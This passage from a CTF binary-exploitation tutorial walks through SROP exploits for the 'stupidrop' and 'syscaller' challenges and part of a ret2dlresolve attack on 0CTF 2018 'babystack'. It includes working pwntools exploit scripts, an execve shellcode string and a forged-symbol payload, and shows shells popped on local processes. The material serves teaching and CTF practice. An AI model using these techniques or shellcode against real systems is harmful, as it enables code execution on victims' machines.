So for the SROP syscall, we will need to set `rax` equal to `0xf` (since `rax` specifies what syscall will be made). However we don't really have any rop gadgets that we can use, which will set it. So we will be setting it by calling the `alarm` function, since return values are stored in the `rax` register.

The `alarm` function is used to specify how many seconds to wait before generating a `SIGALRM`. It takes a single argument, an unsigned int specifying the amount of seconds. If we call `alarm` once, it will set the number of seconds (which the return value will be `0`). If we call it a second time with an argument of `0`, it will cancel the pending alarm and return the number of seconds remaining. With this, we can call `alarm` once with an argument (stored) in the `rdi` register equal to `0xf`. Then proceeding that we can just call `alarm` again with the `rdi` register being equal to `0x0` and it will set `rax` to `0xf` as the return value.

SROP attack

Now that we have `rax` set to `0xf`, space on the stack to store our sigreturn frame, and we have a syscall rop gadget:

```
$ python ROPgadget.py --binary stupidrop | grep syscall
0x000000000040063e : syscall
```

So we have everything we need to make the sigreturn. So we have control over all of the registers. Since we have the syscall rop gadget and a pointer to `/bin/sh`, we can make the `execve("/bin/sh", NULL, NULL)` call. In order to get that, we will have the following registers set accordingly:

```
rip:  0x40063e (address of syscall rop gadget)
rax:  0x3b (specify execve syscall)
rdi:  0x601050 (pointer to "/bin/sh")
rsi:  0x0 (specify no arguments)
rdx:  0x0 (specify no enviornment variables)
```

That syscall will pop a shell for us. We will just store the frame right after the srop syscall, since that will put it at the top of the stack for the sigreturn (which is where it expects it).

Exploit

Putting it all together, we get the following exploit:

```python
from pwn import *

# Establish the target
target = process('./stupidrop')
gdb.attach(target, gdbscript='b *0x400289')

elf = ELF('stupidrop')

context.arch = "amd64"

# Establish needed gadgets
syscall = p64(0x40063e)
popRdi = p64(0x4006a3)

# Establish needed functions
gets = p64(elf.symbols['gets'])
alarm = p64(elf.symbols['alarm'])

# Establish address where we will write "/bin/sh"
binshAdr = p64(0x601050)

# Filler to return address
payload = ""
payload += "0"*0x38

# Use gets to write "/bin/sh" to 0x601050
payload += popRdi
payload += binshAdr
payload += gets


# Use alarm to set the rax register to 0xf
payload += popRdi
payload += p64(0xf)
payload += alarm
payload += popRdi
payload += p64(0x0)
payload += alarm

# Execute the SROP to make the execve call
frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x40063e

# Prep the registers for the execve syscall
frame.rax = 0x3b
frame.rdi = 0x601050
frame.rsi = 0x0
frame.rdx = 0x0

# Add the sigreturn frame to the payload, and make the syscall
```

```
payload += syscall
payload += str(frame)


# Send the payload
target.sendline(payload)

# Send "/bin/sh" to the gets call
raw_input()
target.sendline("/bin/sh\x00")


target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './stupidrop': pid 10520
[*] running in new terminal: /usr/bin/gdb -q  "./stupidrop" 10520 -x
"/tmp/pwnyQjXEX.gdb"
[+] Waiting for debugger: Done
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[*] Switching to interactive mode
$ w
 22:09:26 up  3:22,  1 user,  load average: 1.56, 1.80, 1.86
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:47   ?xdm?  15:46   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
ROPgadget.py  core  exploit.py    readme.md  stupidrop
```

Just like that, we popped a shell!

Swamp ctf 2019 syscaller

Let's take a look at the binary:

```
$    file syscaller
syscaller: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically
linked, BuildID[sha1]=15d03138700bbfd52c735087d738b7433cfa7f22, not stripped
$    pwn checksec syscaller
[*] '/Hackery/pod/modules/srop/swamp19_syscaller/syscaller'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
$    /syscaller
Hello and welcome to the Labyrinthe. Make your way or perish.
15935728
```

So we can see that we are dealing with a `64` bit binary, with non of the standard binary mitigations. When we run it, it prompts us for input.

Reversing

When we through the binary in Ghidra, we see that it looks like another custom assembled binary. When we look at the `entry` function, we see this:

```
                              //
                              // .text
                              // SHT_PROGBITS  [0x4000e0 - 0x40016d]
                              // ram: 004000e0-0040016d
                              //

**************************************************************
                              *                           FUNCTION
*

**************************************************************
                              undefined entry()
             undefined          AL:1           <RETURN>
                              _start
XREF[3]:     Entry Point(*), 00400018(*),
                              entry
_elfSectionHeaders::00000090(*)
        004000e0 55                PUSH       RBP
        004000e1 48 89 e5          MOV        RBP,RSP
        004000e4 48 81 ec          SUB        RSP,0x200
                 00 02 00 00
        004000eb bf 01 00          MOV        EDI,0x1
                 00 00
        004000f0 48 be 30          MOV        RSI,msg1
= 48h    H
                 01 40 00
                 00 00 00 00
        004000fa ba 3e 00          MOV        EDX,0x3e
                 00 00
        004000ff b8 01 00          MOV        EAX,0x1
                 00 00
        00400104 0f 05             SYSCALL
        00400106 b8 00 00          MOV        EAX,0x0
                 00 00
        0040010b 48 89 e6          MOV        RSI,RSP
        0040010e bf 00 00          MOV        EDI,0x0
                 00 00
        00400113 ba 00 02          MOV        EDX,0x200
                 00 00
        00400118 0f 05             SYSCALL
        0040011a 41 5c             POP        R12
        0040011c 41 5b             POP        R11
        0040011e 5f                POP        RDI
        0040011f 58                POP        RAX
        00400120 5b                POP        RBX
        00400121 5a                POP        RDX
        00400122 5e                POP        RSI
        00400123 5f                POP        RDI
        00400124 0f 05             SYSCALL
        00400126 b8 3c 00          MOV        EAX,0x3c
                 00 00
        0040012b 48 31 ff          XOR        RDI,RDI
```

```
0040012e 0f 05          SYSCALL
```

We can see, it starts off by moving the stack down by `0x200` bytes. Then it sets up a write syscall to `stdout` (which is what causes us to see that output message). Proceeding that it sets up a read syscall which will allow us to scan in `0x200` bytes via stdin to the top of the stack (where `rsp` is). After that, it will pop values off of the stack into the `r12` , `r11` , `rdi` , `rax` , `rbx` , `rdx` , `rsi` , and `rdi` registers and make a syscall. So we get a syscall where we control a lot of the registers. After that it will make an exit syscall.

Exploitation

So for the exploit, we will have to do several things. We will use the `syscall` that is preceeded by a bunch of `pop` instructions to execute a sigreturn, which will give us code execution. However there is one problem with that.

Remapping Memory Regions

Let's take a look at the memory mappings:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery
/pod/modules/srop/swamp19_syscaller/syscaller
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤
```

So we can see that the only writable memory region by default is the stack. Thing is, we need to write the string `/bin/sh` somewhere in memory at an address we know in order to call it. So starting off the only region we can write to is the stack. However when the syscall is executed, the only real stack addresses we have are stored in the `rbp` and `rsp` registers, which are overwritten by the sigreturn. We can't use the syscall to give us an inofleak, because if it does it will continue on to the exit syscall before we actually get code execution. So by using the sigreturn, we effectively lose our only really stack addresses (stored in `rbp` and `rsp`). Also when we check the stack to see what's in range of our input for a potential leak, we come up with nothing:

```
gef➤  x/65g 0x7fffffffde68
0x7fffffffde68:    0x3832373533393531    0xa
0x7fffffffde78:    0x0    0x0
0x7fffffffde88:    0x0    0x0
0x7fffffffde98:    0x0    0x0
0x7fffffffdea8:    0x0    0x0
0x7fffffffdeb8:    0x0    0x0
0x7fffffffdec8:    0x0    0x0
0x7fffffffded8:    0x0    0x0
0x7fffffffdee8:    0x0    0x0
0x7fffffffdef8:    0x0    0x0
0x7fffffffdf08:    0x0    0x0
0x7fffffffdf18:    0x0    0x0
0x7fffffffdf28:    0x0    0x0
0x7fffffffdf38:    0x0    0x0
0x7fffffffdf48:    0x0    0x0
0x7fffffffdf58:    0x0    0x0
0x7fffffffdf68:    0x0    0x0
0x7fffffffdf78:    0x0    0x0
0x7fffffffdf88:    0x0    0x0
0x7fffffffdf98:    0x0    0x0
0x7fffffffdfa8:    0x0    0x0
0x7fffffffdfb8:    0x0    0x0
0x7fffffffdfc8:    0x0    0x0
0x7fffffffdfd8:    0x0    0x0
0x7fffffffdfe8:    0x0    0x0
0x7fffffffdff8:    0x0    0x0
0x7fffffffe008:    0x0    0x0
0x7fffffffe018:    0x0    0x0
0x7fffffffe028:    0x0    0x0
0x7fffffffe038:    0x0    0x0
0x7fffffffe048:    0x0    0x0
0x7fffffffe058:    0x0    0x0
0x7fffffffe068:    0x0
```

My solution to this is to remap the binary segment (`0x400000 - 0x401000`) to the permissions `rwx` , so we can read write and execute to that segment. I will do this using an `mprotect` syscall, which allows me to assign permissions to a memory region. For that, we will need to have the following register values set:

```
rax:    0xa (specify memprotect syscall)
rdi:    0x400000 (specify beginning of the binary's data segment)
rsi:    0x1000 (specify to apply the permissions to the chunk of this length,
which covers the entire memory segment)
rdx:    0x7 (standard unix permission for read write and execute, read is 4,
write is 2, execute is 1)
```

When we make that syscall, we see that we are able to remap the permissions to be `rwx` from `r-x` :

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 rwx /Hackery
/pod/modules/srop/swamp19_syscaller/syscaller
0x00007fff39c9e000 0x00007fff39cbf000 0x0000000000000000 rwx [stack]
0x00007fff39ddd000 0x00007fff39de0000 0x0000000000000000 r-- [vvar]
0x00007fff39de0000 0x00007fff39de1000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

Also for which syscall to use, I choose `0x400104`. The reason for this, is immediately after that is a read syscall into `rsp` that we will use. When we do the initial sigreturn, we will set `rsp` to be equal to `0x40011a`, which is the instruction pointer immediately after the `syscall` to scan in our data. The reason for this, is that we are just going to overwrite the instructions there with our shellcode. That way after that syscall is finished executing, it will just run our shellcode and we will get a shell!

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

# Establish the target
target = process("./syscaller")
#gdb.attach(target, gdbscript='b *0x400104')

context.arch = "amd64"

# Initial registers to be popped
r12 = "0"*8
r11 = "1"*8
rdi = "0"*8
rax = p64(0xf)
rbx = "0"*8
rdx = "1"*8
rsi = "0"*8
rdi = "1"*8

# Form the payload for the registers to be popped
payload = ""
payload += r12
payload += r11
payload += rdi
payload += rax
payload += rbx
payload += rdx
payload += rsi
payload += rdi

# Make the sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400104
frame.rax = 0xa
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 0x7

frame.rsp = 0x40011a

# Append the sigreturn frame to the payload
payload += str(frame)

# Send the payload
target.sendline(payload)

# A Raw input for I/O purposes
raw_input()

# Send our shellcode
# I did not write this shellcode, it is from: https://teamrocketist.github.io
/2017/09/18/Pwn-CSAW-Pilot/
```

```
shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7
\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
target.sendline(shellcode)

# Drop to an interactive shell
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './syscaller': pid 16165
input
[*] Switching to interactive mode
Hello and welcome to the Labyrinthe. Make your way or perish.
$ w
 02:45:51 up  7:59,  1 user,  load average: 1.33, 1.19, 1.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:47   ?xdm?  43:02   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
ROPgadget.py  core  exploit.py    readme.md  syscaller
$
```

Just like that, we got a shell!

ret2csu

0ctf 2018 Babystack

This writeup is based off of these resources:

```
https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
https://kileak.github.io/ctf/2018/0ctf-qual-babystack/
```

The objective of this challenge is to pop a shell, but without using an infoleak. The challenge originally used some python scripting to enforce this, however I did not use it. I know people could take the easy way out with how I have it, but where is the fun in that?

Let's take a look at the binary:

```
$    file babystack
babystack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=76b50d733400542b34d5e8fa23f0f12dc951d4ef, stripped
$    pwn checksec babystack
[*] '/Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./babystack
15935728
```

So we can see that we are dealing with a `32` bit elf, that has a Non-Executable stack. When we run it, it prompts us for input.

Reversing

When we take a look at the binary in Ghidra, we don't immediately see a `main` function. However we see this function at `0x0804843b`:

```
void scanInput(void)

{
  undefined input [40];

  read(0,input,0x40);
  return;
}
```

We can see here that it is scanning in `0x40` (`64`) bytes worth of data in a `40` byte chunk, giving us a `24` byte overflow. When we set a breakpoint for the `read` call in the function at `0x804844c`, we see that it is indeed called (so this function is what was scanning in our input). When we check the offset between the start of our input and the return address, we see that it is `44` bytes.

Exploitation

So we have an obvious stack overflow bug. However how will we land it? Infoleaks are out of the question, so we can't do a ret2libc attack (returning to gadgets/functions/code in the libc). Also we don't have a libc file provided, so one more reason why ret2lic isn't feasible. It is a dynamically linked binary with a small code base, so we don't have many gadgets to work with. The only imported functions are `alarm` and `read`, and since our input has to be given as a single chunk, that doesn't help us too much. The answer to this is we will be performing a `ret2dlresolve` attack.

ret2dlresolve

So dynamically linked binaries are linked with a libc file when they are executed. This provides several advantages such as a smaller binary size. However since when the binary is compiled it doesn't know where functions in libc will be since it is linked at runtime, it has to go through a process of linking it at run time. The tl;dr of this is it essentially just looks up what the libc address of a function it is trying to link, and writes it to a section of memory in the binary, so it can call the libc function. A ret_2_dlresolve attack targets that functionality. First let's talk about how this process works before we talk about how we will attack it.

Elf binaries use something called `Delayed Binding`, which means that the linking process happens when the binary first tries to execute a libc function. To understand that, let's look at what the GOT addresses are for `read` before it is called:

Got table entries for `read` and `alarm` in `.got.plt`:

```
                             PTR_read_0804a00c
XREF[1]:     read:08048300
        0804a00c 00 b0 04 08     addr       read
= ??
                             PTR_alarm_0804a010
XREF[1]:     alarm:08048310
        0804a010 04 b0 04 08     addr       alarm
= ??
```

Now let's see what it is

```
gef➤  b *0x804844c
Breakpoint 1 at 0x804844c
gef➤  r
Starting program: /Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack

Breakpoint 1, 0x0804844c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0xffffd0d0  →  0xffffd108  →  0x00000000
$ebx   : 0x0
$ecx   : 0xffffd120  →  0x00000001
$edx   : 0x0
$esp   : 0xffffd0c0  →  0x00000000
$ebp   : 0xffffd0f8  →  0xffffd108  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x0804844c  →  0xfffeafe8  →  0x00000000
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────
stack ────
0xffffd0c0│+0x0000: 0x00000000     ← $esp
0xffffd0c4│+0x0004: 0xffffd0d0  →  0xffffd108  →  0x00000000
0xffffd0c8│+0x0008: 0x00000040 ("@"?)
0xffffd0cc│+0x000c: 0xf7fb5000  →  0x001dbd6c
0xffffd0d0│+0x0010: 0xffffd108  →  0x00000000
0xffffd0d4│+0x0014: 0xf7fe9790  →   pop edx
0xffffd0d8│+0x0018: 0xffffd144  →  0x00000000
0xffffd0dc│+0x001c: 0xffffd108  →  0x00000000
──────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8048446                  lea    eax, [ebp-0x28]
    0x8048449                  push   eax
    0x804844a                  push   0x0
 →  0x804844c                  call   0x8048300 <read@plt>
   ↳   0x8048300 <read@plt+0>     jmp    DWORD PTR ds:0x804a00c
       0x8048306 <read@plt+6>     push   0x0
       0x804830b <read@plt+11>    jmp    0x80482f0
       0x8048310 <alarm@plt+0>    jmp    DWORD PTR ds:0x804a010
       0x8048316 <alarm@plt+6>    push   0x8
       0x804831b <alarm@plt+11>   jmp    0x80482f0
──────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
read@plt (
   [sp + 0x0] = 0x00000000,
   [sp + 0x4] = 0xffffd0d0 → 0xffffd108 → 0x00000000,
   [sp + 0x8] = 0x00000040,
   [sp + 0xc] = 0xf7fb5000 → 0x001dbd6c
)
──────────────────────────────────────────────────────────────────────────────
```

```
threads ────
[#0] Id 1, Name: "babystack", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────
trace ────
[#0] 0x804844c → call 0x8048300 <read@plt>
[#1] 0x804847a → mov eax, 0x0
[#2] 0xf7df7751 → __libc_start_main()
[#3] 0x8048361 → hlt
───────────────────────────────────────────────────────────
gef➤  x/w 0x804a00c
0x804a00c <read@got.plt>:    0x8048306
gef➤  x/i 0x8048306
   0x8048306 <read@plt+6>:    push   0x0
gef➤  x/6i 0x8048300
   0x8048300 <read@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:    jmp    0x80482f0
   0x8048310 <alarm@plt>:    jmp    DWORD PTR ds:0x804a010
   0x8048316 <alarm@plt+6>:    push   0x8
   0x804831b <alarm@plt+11>:    jmp    0x80482f0
```

So we can see that the got entry for read points to `read@plt+6`. For the `read@plt` function, we can see that it starts off by jumping to whatever value is stored in the got entry for `read` (stored at `0x804a00c`). Proceeding that it will push `0x0` on to the stack (offset for the read symbol), and jump to `0x80482f0`. When we look at `0x80482f0` we see this:

```
gef➤  x/10i 0x80482f0
   0x80482f0:    push   DWORD PTR ds:0x804a004
   0x80482f6:    jmp    DWORD PTR ds:0x804a008
   0x80482fc:    add    BYTE PTR [eax],al
   0x80482fe:    add    BYTE PTR [eax],al
   0x8048300 <read@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:    jmp    0x80482f0
gef➤  x/w 0x804a008
0x804a008:    0xf7fe9780
```

So we can see it pushes the DWORD stored at `0x804a004` onto the stack. Then it jumps to the instruction pointer stored in `0x804a008`. This function is `_dl_runtime_resolve`, and the value pushed before it is the link map. Even though there isn't a symbol for `_dl_runtime_resolve`, we can see that it's address is in the middle of some `_dl` functions:

```
gef➤  info functions
All defined functions:

.    .    .

0xf7fe7570  _dl_make_stack_executable
0xf7fe7830  _dl_find_dso_for_object
0xf7fe9910  _dl_exception_create
0xf7fe9a10  _dl_exception_create_format
0xf7fe9d60  _dl_exception_free
0xf7feae80  __tunable_get_val
```

We can actually see the `_dl_runtime_resolve` function here:

```
gef➤  x/11i 0xf7fe9780
   0xf7fe9780:    push   eax
   0xf7fe9781:    push   ecx
   0xf7fe9782:    push   edx
   0xf7fe9783:    mov    edx,DWORD PTR [esp+0x10]
   0xf7fe9787:    mov    eax,DWORD PTR [esp+0xc]
   0xf7fe978b:    call   0xf7fe3af0 # Function which resolves the libc function
address (_dl_fixup)
   0xf7fe9790:    pop    edx # Resolved libc address stored in eax (return value
holder)
   0xf7fe9791:    mov    ecx,DWORD PTR [esp]
   0xf7fe9794:    mov    DWORD PTR [esp],eax # Store resolved libc address on
the top of the stack ([esp])
   0xf7fe9797:    mov    eax,DWORD PTR [esp+0x4]
   0xf7fe979b:    ret    0xc # return to the libc function which we worked on
resolving
```

When it goes through the process of linking the function, it needs to actually know which function it is linking (whether it be `puts`, `system`, or `read`). This is done by giving an offset to the symbol table (remember the `push 0x0` earlier).

After `read@plt` is executed we can see that the got entry points to the libc address for `read`. That way whenever `read@plt` is called again, it will just jump to the got entry for it, which will be a libc address:

```
code:x86:32 ────
    0x804846d                    call   0x8048310 <alarm@plt>
    0x8048472                    add    esp, 0x10
    0x8048475                    call   0x804843b
 →  0x804847a                    mov    eax, 0x0
    0x804847f                    mov    ecx, DWORD PTR [ebp-0x4]
    0x8048482                    leave
    0x8048483                    lea    esp, [ecx-0x4]
    0x8048486                    ret
    0x8048487                    xchg   ax, ax
```

```
threads ────
[#0] Id 1, Name: "babystack", stopped, reason: TEMPORARY BREAKPOINT
```

```
trace ────
[#0] 0x804847a → mov eax, 0x0
[#1] 0xf7df7751 → __libc_start_main()
[#2] 0x8048361 → hlt
```

```
gef➤  x/w 0x804a00c
0x804a00c <read@got.plt>:    0xf7ec67e0
gef➤  x/i 0xf7ec67e0
   0xf7ec67e0 <read>:    push   esi
gef➤  p read
$2 = {<text variable, no debug info>} 0xf7ec67e0 <read>
```

Our attack will be to essentially create a fake symbols table (`symtab`), with a known offset to a fake symbol. If we were to pass this to `_dl_runtime_resolve` , it would call `_dl_fixup` which would turn around to resolve and execute that symbol (assuming it resolves to an actual libc function). That is what we will do to execute `system` .

Scanning in more data

So to scan in the full payload for the `ret2dl` , we won't be able to fit it into the initial `64` bytes worth of data. So we will have to be making another call to `read` . We will be scanning it into `0x804a020` , which is the start of the `bss` . This is where we will store the things needed for the `ret_2_dl_reslove` :

```
payload0 += "0"*44                          # Filler from start of input to return
address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                     # After the read call, return to scan
input
payload0 += p32(0)                          # Read via stdin
payload0 += p32(bss)                      # Scan into the start of the bss
payload0 += p32(payload1_size)              # How much data to scan in
```

After that, we will jump back to the `scanInput` function, so we can re-exploit the bug again. This time we will just jump to `0x80482f0` with the arguments being `rel_plt_entry_index` and `/bin/sh` to call a shell.

Executing ret_2_dl_resolve

Now to actually execute the attack, we will be needing to create some fake entries. First, let's take a look at all of the sections in this binary. Also just to be clear, our goal is to run the libc `system` function:

```
$    readelf -S babystack
There are 29 section headers, starting at offset 0x1150:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000018 08  AI  5  24  4
  [11] .init             PROGBITS        080482c8 0002c8 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080482f0 0002f0 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048330 000330 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048340 000340 0001b2 00  AX  0   0 16
  [15] .fini             PROGBITS        080484f4 0004f4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        08048510 000510 000034 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048544 000544 0000ec 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [25] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
  [27] .comment          PROGBITS        00000000 001020 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001054 0000fa 00      0   0  1
```

We will be creating entries for the following sections:

```
.rel.plt     (Elf_Rel entry)
.dynsym     (Elf_Sym entry)
.dynstr
```

.rel.plt

The `.rel.plt` section is used for function relocation. The `.rel.dyn` is used for variable relocation. Let's take a look at this section:

```
$    readelf -r babystack

Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000306 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   alarm@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
```

And in memory:

```
gef➤  x/8w 0x80482a8
0x80482a8:    0x08049ffc    0x00000306    0x0804a00c    0x00000107
0x80482b8:    0x0804a010    0x00000207    0x0804a014    0x00000407
gef➤  x/w 0x804a014
0x804a014 <__libc_start_main@got.plt>:    0xf7df7660
gef➤  x/w 0x804a010
0x804a010 <alarm@got.plt>:    0xf7e9e480
```

Also let's look at the code for one of the entries:

```
  Typedef struct {
  Elf32_Addr r_offset; // got.plt entry
  Elf32_Word r_info; // index from symbol table
  } Elf32_Rel;
```

So we can see that each entry contains two DWORDS. The first dword is the `got.plt` entry for the function. The second is it's `r_info` (which is it's index form the symbol table).

When we make our fake `.rel.plt`, we will need two things. The first is a fake `got` entry address to give it, which the libc address for `system` will be written to (I tried different got entry addresses, and it didn't really seem to affect it).

For the `r_info` value (which is the index to the `dynsm` entry), we will be needing to calculate that. Remember, we are storing these entries at the start of the `bss`. With how these entries work, the `dynsm` entry will be stored at `start_of_bss + 0xc`. When we look at the `dynsym` next, we see that the `dynsm` entries start at an offset of `0x10` from the start, and we see one every `0x10` bytes after it (until we reach the end). So in order to find the right `r_info` index, we will take the address of where `.dynsym` is stored (`start_of_bss + 0xc`), and subtract from it the start of the `.dynsym` segment, and divide it by `0x10`. After that we will need to shift it over to the left by `0x8` (it's how the indexes are stored, you will see why that is).

.dynsym

This section contains a dynamic symbol link table. Let's take a look at this section of the binary in Ghidra:

```
                              //
                              // .dynsym
                              // SHT_DYNSYM  [0x80481cc - 0x804822b]
                              // ram: 080481cc-0804822b
                              //
                              __DT_SYMTAB
XREF[2]:     08049f60(*),

_elfSectionHeaders::000000d4(*)
        080481cc 00 00 00        Elf32_Sy
                 00 00 00
                 00 00 00
           080481cc 00 00 00 00 00  Elf32_Sym                          [0]
XREF[2]:     08049f60(*),
                    00 00 00 00 00
_elfSectionHeaders::000000d4(*)
                    00 00 00 00 00
              080481cc 00 00 00 00     ddw       0h                        st_name
XREF[2]:     08049f60(*),

_elfSectionHeaders::000000d4(*)
              080481d0 00 00 00 00     ddw       0h
st_value
              080481d4 00 00 00 00     ddw       0h                        st_size
              080481d8 00              db        0h                        st_info
              080481d9 00              db        0h
st_other
              080481da 00 00           dw        0h
st_shndx
           080481dc 1a 00 00 00 00  Elf32_Sym                          [1]
read
                    00 00 00 00 00
                    00 00 12 00 00
           080481ec 1f 00 00 00 00  Elf32_Sym                          [2]
alarm
                    00 00 00 00 00
                    00 00 12 00 00
           080481fc 37 00 00 00 00  Elf32_Sym                          [3]
__gmon_start__
                    00 00 00 00 00
                    00 00 20 00 00
           0804820c 25 00 00 00 00  Elf32_Sym                          [4]
__libc_start_main
                    00 00 00 00 00
                    00 00 12 00 00
           0804821c 0b 00 00 00 0c  Elf32_Sym                          [5]
_IO_stdin_used
                    85 04 08 04 00
                    00 00 11 00 10
```

So we can see here, there are entries for the imported functions. Thing is the `r_info` values actually corresponds to the indexes here. The equation is `index = (r_info >> 8)`. For instance above we saw that the `r_info` value for `alarm` was `0x00000207`. This would correspond to and index of `0x207 >> 8 = 2`, which we can see is the index to alarm.

Now for the values stored in the various entries that `r_info` maps to. Each entry contains `0x10` bytes, so 4 DWORDS. Now for everything that we will want libc to link, there is a string that represents the symbol we want to link, that we will give to libc. These are stored in the `.dynstr` section. The first DWORD represents the offset from the start of the section to that. The start of the `.dynstr` section is `0x804822c`. We can see that the offset `alarm` gives us is `0x1f`. We can see that `0x804822c + 0x1f = 0x804824b`, which is the address of the `.dynstr` entry for `alarm`. For this value, we will just take where our `.dynstr` entry will be for `system` (a little bit after the start of the bss), and subtract it from the start of the `.dynstr` section, to get the offset. For what we are trying to do, we can just set the other 3 DWORDS to `0x0` (from what I've seen, as long as it's less than `0x100`, it should work).

.dynstr

Now this section contains the strings for the symbols that we want to link. When we take a look at this section of the binary in Ghidra, we see this:

```
                                //
                                // .dynstr
                                // SHT_STRTAB  [0x804822c - 0x804827b]
                                // ram: 0804822c-0804827b
                                //
                                __DT_STRTAB
 XREF[2]:     08049f58(*),

 _elfSectionHeaders::000000fc(*)
        0804822c 00             ??          00h
        0804822d 6c 69 62       ds          "libc.so.6"
                 63 2e 73
                 6f 2e 36 00
        08048237 5f 49 4f       ds          "_IO_stdin_used"
                 5f 73 74
                 64 69 6e
        08048246 72 65 61       ds          "read"
                 64 00
        0804824b 61 6c 61       ds          "alarm"
                 72 6d 00
        08048251 5f 5f 6c       ds          "__libc_start_main"
                 69 62 63
                 5f 73 74
